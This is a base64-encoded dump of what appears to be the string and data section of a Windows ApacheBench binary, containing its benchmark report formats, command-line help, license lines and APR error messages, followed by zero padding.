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ZXQvPGJyPgoAACBUaGlzIGlzIEFwYWNoZUJlbmNoLCBWZXJzaW9uICVzIDxpPiZsdDslcyZndDs8L2k+PGJyPgoAJFJldmlzaW9uOiA2NTU2NTQgJAA8cD4KAAAAAAAAAABMaWNlbnNlZCB0byBUaGUgQXBhY2hlIFNvZnR3YXJlIEZvdW5kYXRpb24sIGh0dHA6Ly93d3cuYXBhY2hlLm9yZy8KAAAAAABDb3B5cmlnaHQgMTk5NiBBZGFtIFR3aXNzLCBaZXVzIFRlY2hub2xvZ3kgTHRkLCBodHRwOi8vd3d3LnpldXN0ZWNoLm5ldC8KAAAAVGhpcyBpcyBBcGFjaGVCZW5jaCwgVmVyc2lvbiAlcwoAAAAAMi4zIDwkUmV2aXNpb246IDY1NTY1NCAkPgAAACAgICAtaCAgICAgICAgICAgICAgRGlzcGxheSB1c2FnZSBpbmZvcm1hdGlvbiAodGhpcyBtZXNzYWdlKQoAAAAgICAgLXIgICAgICAgICAgICAgIERvbid0IGV4aXQgb24gc29ja2V0IHJlY2VpdmUgZXJyb3JzLgoAAAAgICAgLWUgZmlsZW5hbWUgICAgIE91dHB1dCBDU1YgZmlsZSB3aXRoIHBlcmNlbnRhZ2VzIHNlcnZlZAoAAAAAICAgIC1nIGZpbGVuYW1lICAgICBPdXRwdXQgY29sbGVjdGVkIGRhdGEgdG8gZ251cGxvdCBmb3JtYXQgZmlsZS4KAAAAAAAAICAgIC1TICAgICAgICAgICAgICBEbyBub3Qgc2hvdyBjb25maWRlbmNlIGVzdGltYXRvcnMgYW5kIHdhcm5pbmdzLgoAAAAAICAgIC1kICAgICAgICAgICAgICBEbyBub3Qgc2hvdyBwZXJjZW50aWxlcyBzZXJ2ZWQgdGFibGUuCgAAICAgIC1rICAgICAgICAgICAgICBVc2UgSFRUUCBLZWVwQWxpdmUgZmVhdHVyZQoAICAgIC1WICAgICAgICAgICAgICBQcmludCB2ZXJzaW9uIG51bWJlciBhbmQgZXhpdAoAACAgICAtWCBwcm94eTpwb3J0ICAgUHJveHlzZXJ2ZXIgYW5kIHBvcnQgbnVtYmVyIHRvIHVzZQoAICAgIC1QIGF0dHJpYnV0ZSAgICBBZGQgQmFzaWMgUHJveHkgQXV0aGVudGljYXRpb24sIHRoZSBhdHRyaWJ1dGVzCgAAAAAAICAgICAgICAgICAgICAgICAgICBhcmUgYSBjb2xvbiBzZXBhcmF0ZWQgdXNlcm5hbWUgYW5kIHBhc3N3b3JkLgoAAAAAAAAAICAgIC1BIGF0dHJpYnV0ZSAgICBBZGQgQmFzaWMgV1dXIEF1dGhlbnRpY2F0aW9uLCB0aGUgYXR0cmlidXRlcwoAAAAAAAAAICAgICAgICAgICAgICAgICAgICBJbnNlcnRlZCBhZnRlciBhbGwgbm9ybWFsIGhlYWRlciBsaW5lcy4gKHJlcGVhdGFibGUpCgAAAAAAAAAgICAgLUggYXR0cmlidXRlICAgIEFkZCBBcmJpdHJhcnkgaGVhZGVyIGxpbmUsIGVnLiAnQWNjZXB0LUVuY29kaW5nOiBnemlwJwoAAAAAACAgICAtQyBhdHRyaWJ1dGUgICAgQWRkIGNvb2tpZSwgZWcuICdBcGFjaGU9MTIzNC4gKHJlcGVhdGFibGUpCgAgICAgLXogYXR0cmlidXRlcyAgIFN0cmluZyB0byBpbnNlcnQgYXMgdGQgb3IgdGggYXR0cmlidXRlcwoAAAAAICAgIC15IGF0dHJpYnV0ZXMgICBTdHJpbmcgdG8gaW5zZXJ0IGFzIHRyIGF0dHJpYnV0ZXMKAAAgICAgLXggYXR0cmlidXRlcyAgIFN0cmluZyB0byBpbnNlcnQgYXMgdGFibGUgYXR0cmlidXRlcwoAAAAgICAgLWkgICAgICAgICAgICAgIFVzZSBIRUFEIGluc3RlYWQgb2YgR0VUCgAAAAAgICAgLXcgICAgICAgICAgICAgIFByaW50IG91dCByZXN1bHRzIGluIEhUTUwgdGFibGVzCgAAACAgICAtdiB2ZXJib3NpdHkgICAgSG93IG11Y2ggdHJvdWJsZXNob290aW5nIGluZm8gdG8gcHJpbnQKACAgICAgICAgICAgICAgICAgICAgRGVmYXVsdCBpcyAndGV4dC9wbGFpbicKAAAAACAgICAgICAgICAgICAgICAgICAgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcKAAAAACAgICAtVCBjb250ZW50LXR5cGUgQ29udGVudC10eXBlIGhlYWRlciBmb3IgUE9TVGluZywgZWcuCgAAACAgICAtdSBwdXRmaWxlICAgICAgRmlsZSBjb250YWluaW5nIGRhdGEgdG8gUFVULiBSZW1lbWJlciBhbHNvIHRvIHNldCAtVAoAAAAAAAAAICAgIC1wIHBvc3RmaWxlICAgICBGaWxlIGNvbnRhaW5pbmcgZGF0YSB0byBQT1NULiBSZW1lbWJlciBhbHNvIHRvIHNldCAtVAoAACAgICAtYiB3aW5kb3dzaXplICAgU2l6ZSBvZiBUQ1Agc2VuZC9yZWNlaXZlIGJ1ZmZlciwgaW4gYnl0ZXMKAAAgICAgLXQgdGltZWxpbWl0ICAgIFNlY29uZHMgdG8gbWF4LiB3YWl0IGZvciByZXNwb25zZXMKACAgICAtYyBjb25jdXJyZW5jeSAgTnVtYmVyIG9mIG11bHRpcGxlIHJlcXVlc3RzIHRvIG1ha2UKAAAAACAgICAtbiByZXF1ZXN0cyAgICAgTnVtYmVyIG9mIHJlcXVlc3RzIHRvIHBlcmZvcm0KAABPcHRpb25zIGFyZToKAAAAVXNhZ2U6ICVzIFtvcHRpb25zXSBbaHR0cDovL11ob3N0bmFtZVs6cG9ydF0vcGF0aAoAADolZABTU0wgbm90IGNvbXBpbGVkIGluOyBubyBodHRwcyBzdXBwb3J0CgAAaHR0cHM6Ly8AAAAAWyVzXQAAAABodHRwOi8vAGFiOiBDb3VsZCBub3QgcmVhZCBQT1NUIGRhdGEgZmlsZTogJXMKAABhYjogQ291bGQgbm90IGFsbG9jYXRlIFBPU1QgZGF0YSBidWZmZXIKAAAAAGFiOiBDb3VsZCBub3Qgc3RhdCBQT1NUIGRhdGEgZmlsZSAoJXMpOiAlcwoAYWI6IENvdWxkIG5vdCBvcGVuIFBPU1QgZGF0YSBmaWxlICglcyk6ICVzCgBhcHJfZ2xvYmFsX3Bvb2wAJWQuJWQlYwAqKioqAAAAACUzZCVjAAAAJTNkIAAAAAAgIC0gAAAAAEtNR1RQRQAAJXM6IGlsbGVnYWwgb3B0aW9uIC0tICVjCgAAACVzOiBvcHRpb24gcmVxdWlyZXMgYW4gYXJndW1lbnQgLS0gJWMKAABDb21tYW5kTGluZVRvQXJndlcAAGFwcl9pbml0aWFsaXplAAAwMTIzNDU2Nzg5LgAwLjAuMC4wAGJvZ3VzICVwAAAAAEk2NGQAAAAATm8gaG9zdCBkYXRhIG9mIHRoYXQgdHlwZSB3YXMgZm91bmQASG9zdCBub3QgZm91bmQAAEdyYWNlZnVsIHNodXRkb3duIGluIHByb2dyZXNzAAAAV1NBU3RhcnR1cCBub3QgeWV0IGNhbGxlZAAAAFdpbnNvY2sgdmVyc2lvbiBvdXQgb2YgcmFuZ2UAAAAATmV0d29yayBzeXN0ZW0gaXMgdW5hdmFpbGFibGUAAABUb28gbWFueSBsZXZlbHMgb2YgcmVtb3RlIGluIHBhdGgAAABTdGFsZSBORlMgZmlsZSBoYW5kbGUAAABEaXNjIHF1b3RhIGV4Y2VlZGVkAFRvbyBtYW55IHVzZXJzAABUb28gbWFueSBwcm9jZXNzZXMAAERpcmVjdG9yeSBub3QgZW1wdHkATm8gcm91dGUgdG8gaG9zdAAAAABIb3N0IGlzIGRvd24AAAAARmlsZSBuYW1lIHRvbyBsb25nAABUb28gbWFueSBsZXZlbHMgb2Ygc3ltYm9saWMgbGlua3MAAABDb25uZWN0aW9uIHJlZnVzZWQAAENvbm5lY3Rpb24gdGltZWQgb3V0AAAAAFRvbyBtYW55IHJlZmVyZW5jZXMsIGNhbid0IHNwbGljZQAAAENhbid0IHNlbmQgYWZ0ZXIgc29ja2V0IHNodXRkb3duAAAAAFNvY2tldCBpcyBub3QgY29ubmVjdGVkAFNvY2tldCBpcyBhbHJlYWR5IGNvbm5lY3RlZABObyBidWZmZXIgc3BhY2UgYXZhaWxhYmxlAAAAQ29ubmVjdGlvbiByZXNldCBieSBwZWVyAAAAAFNvZnR3YXJlIGNhdXNlZCBjb25uZWN0aW9uIGFib3J0AAAAAE5ldCBjb25uZWN0aW9uIHJlc2V0AAAAAE5ldHdvcmsgaXMgdW5yZWFjaGFibGUAAE5ldHdvcmsgaXMgZG93bgBDYW4ndCBhc3NpZ24gcmVxdWVzdGVkIGFkZHJlc3MAAEFkZHJlc3MgYWxyZWFkeSBpbiB1c2UAAEFkZHJlc3MgZmFtaWx5IG5vdCBzdXBwb3J0ZWQAAAAAUHJvdG9jb2wgZmFtaWx5IG5vdCBzdXBwb3J0ZWQAAABPcGVyYXRpb24gbm90IHN1cHBvcnRlZCBvbiBzb2NrZXQAAABTb2NrZXQgdHlwZSBub3Qgc3VwcG9ydGVkAAAAUHJvdG9jb2wgbm90IHN1cHBvcnRlZAAAQmFkIHByb3RvY29sIG9wdGlvbgBQcm90b2NvbCB3cm9uZyB0eXBlIGZvciBzb2NrZXQAAE1lc3NhZ2UgdG9vIGxvbmcAAAAARGVzdGluYXRpb24gYWRkcmVzcyByZXF1aXJlZAAAAABTb2NrZXQgb3BlcmF0aW9uIG9uIG5vbi1zb2NrZXQAAE9wZXJhdGlvbiBhbHJlYWR5IGluIHByb2dyZXNzAAAAT3BlcmF0aW9uIG5vdyBpbiBwcm9ncmVzcwAAAE9wZXJhdGlvbiB3b3VsZCBibG9jawAAAFRvbyBtYW55IG9wZW4gc29ja2V0cwAAAEludmFsaWQgYXJndW1lbnQAAAAAQmFkIGFkZHJlc3MAUGVybWlzc2lvbiBkZW5pZWQAAABCYWQgZmlsZSBudW1iZXIASW50ZXJydXB0ZWQgc3lzdGVtIGNhbGwAQVBSIGRvZXMgbm90IHVuZGVyc3RhbmQgdGhpcyBlcnJvciBjb2RlAEVycm9yIHN0cmluZyBub3Qgc3BlY2lmaWVkIHlldAAAcGFzc3dvcmRzIGRvIG5vdCBtYXRjaAAAVGhpcyBmdW5jdGlvbiBoYXMgbm90IGJlZW4gaW1wbGVtZW50ZWQgb24gdGhpcyBwbGF0Zm9ybQAAAAAAVGhlcmUgaXMgbm8gZXJyb3IsIHRoaXMgdmFsdWUgc2lnbmlmaWVzIGFuIGluaXRpYWxpemVkIGVycm9yIGNvZGUAAABTaGFyZWQgbWVtb3J5IGlzIGltcGxlbWVudGVkIHVzaW5nIGEga2V5IHN5c3RlbQBTaGFyZWQgbWVtb3J5IGlzIGltcGxlbWVudGVkIHVzaW5nIGZpbGVzAAAAAFNoYXJlZCBtZW1vcnkgaXMgaW1wbGVtZW50ZWQgYW5vbnltb3VzbHkAAAAAQ291bGQgbm90IGZpbmQgc3BlY2lmaWVkIHNvY2tldCBpbiBwb2xsIGxpc3QuAAAARW5kIG9mIGZpbGUgZm91bmQAAABNaXNzaW5nIHBhcmFtZXRlciBmb3IgdGhlIHNwZWNpZmllZCBjb21tYW5kIGxpbmUgb3B0aW9uAEJhZCBjaGFyYWN0ZXIgc3BlY2lmaWVkIG9uIGNvbW1hbmQgbGluZQBQYXJ0aWFsIHJlc3VsdHMgYXJlIHZhbGlkIGJ1dCBwcm9jZXNzaW5nIGlzIGluY29tcGxldGUAAFRoZSB0aW1lb3V0IHNwZWNpZmllZCBoYXMgZXhwaXJlZAAAAFRoZSBzcGVjaWZpZWQgY2hpbGQgcHJvY2VzcyBpcyBub3QgZG9uZSBleGVjdXRpbmcAAABUaGUgc3BlY2lmaWVkIGNoaWxkIHByb2Nlc3MgaXMgZG9uZSBleGVjdXRpbmcAAABUaGUgc3BlY2lmaWVkIHRocmVhZCBpcyBub3QgZGV0YWNoZWQAAAAAVGhlIHNwZWNpZmllZCB0aHJlYWQgaXMgZGV0YWNoZWQAAAAAAAAAAFlvdXIgY29kZSBqdXN0IGZvcmtlZCwgYW5kIHlvdSBhcmUgY3VycmVudGx5IGV4ZWN1dGluZyBpbiB0aGUgcGFyZW50IHByb2Nlc3MAAAAAWW91ciBjb2RlIGp1c3QgZm9ya2VkLCBhbmQgeW91IGFyZSBjdXJyZW50bHkgZXhlY3V0aW5nIGluIHRoZSBjaGlsZCBwcm9jZXNzAEludGVybmFsIGVycm9yAABUaGUgcHJvY2VzcyBpcyBub3QgcmVjb2duaXplZC4AAFRoZSBnaXZlbiBwYXRoIGNvbnRhaW5lZCB3aWxkY2FyZCBjaGFyYWN0ZXJzAAAAAFRoZSBnaXZlbiBwYXRoIGlzIG1pc2Zvcm1hdHRlZCBvciBjb250YWluZWQgaW52YWxpZCBjaGFyYWN0ZXJzAABUaGUgZ2l2ZW4gcGF0aCB3YXMgYWJvdmUgdGhlIHJvb3QgcGF0aAAAVGhlIGdpdmVuIHBhdGggaXMgaW5jb21wbGV0ZQAAAABUaGUgZ2l2ZW4gcGF0aCBpcyByZWxhdGl2ZQAAVGhlIGdpdmVuIHBhdGggaXMgYWJzb2x1dGUAAFRoZSBzcGVjaWZpZWQgbmV0d29yayBtYXNrIGlzIGludmFsaWQuAABUaGUgc3BlY2lmaWVkIElQIGFkZHJlc3MgaXMgaW52YWxpZC4AAAAARFNPIGxvYWQgZmFpbGVkAE5vIHNoYXJlZCBtZW1vcnkgaXMgY3VycmVudGx5IGF2YWlsYWJsZQBObyB0aHJlYWQga2V5IHN0cnVjdHVyZSB3YXMgcHJvdmlkZWQgYW5kIG9uZSB3YXMgcmVxdWlyZWQuAABObyB0aHJlYWQgd2FzIHByb3ZpZGVkIGFuZCBvbmUgd2FzIHJlcXVpcmVkLgAAAABObyBzb2NrZXQgd2FzIHByb3ZpZGVkIGFuZCBvbmUgd2FzIHJlcXVpcmVkLgAAAABObyBwb2xsIHN0cnVjdHVyZSB3YXMgcHJvdmlkZWQgYW5kIG9uZSB3YXMgcmVxdWlyZWQuAAAAAE5vIGxvY2sgd2FzIHByb3ZpZGVkIGFuZCBvbmUgd2FzIHJlcXVpcmVkLgAATm8gZGlyZWN0b3J5IHdhcyBwcm92aWRlZCBhbmQgb25lIHdhcyByZXF1aXJlZC4ATm8gdGltZSB3YXMgcHJvdmlkZWQgYW5kIG9uZSB3YXMgcmVxdWlyZWQuAABObyBwcm9jZXNzIHdhcyBwcm92aWRlZCBhbmQgb25lIHdhcyByZXF1aXJlZC4AAABBbiBpbnZhbGlkIHNvY2tldCB3YXMgcmV0dXJuZWQAAEFuIGludmFsaWQgZGF0ZSBoYXMgYmVlbiBwcm92aWRlZAAAAEEgbmV3IHBvb2wgY291bGQgbm90IGJlIGNyZWF0ZWQuAAAAAFVucmVjb2duaXplZCBXaW4zMiBlcnJvciBjb2RlICVkAAAAAFwAXAA/AFwAVQBOAEMAXAAAAAAAXABcAD8AXAAAAAAAQ2FuY2VsSW8AAAAAR2V0Q29tcHJlc3NlZEZpbGVTaXplQQAAR2V0Q29tcHJlc3NlZEZpbGVTaXplVwAAWndRdWVyeUluZm9ybWF0aW9uRmlsZQAAR2V0U2VjdXJpdHlJbmZvAEdldE5hbWVkU2VjdXJpdHlJbmZvQQAAAEdldE5hbWVkU2VjdXJpdHlJbmZvVwAAAFUATgBDAFwAAAAAAEdldEVmZmVjdGl2ZVJpZ2h0c0Zyb21BY2xXAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////bnRkbGwuZGxsAAAAc2hlbGwzMgB3czJfMzIAAG1zd3NvY2sAYWR2YXBpMzIAAAAAa2VybmVsMzIAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA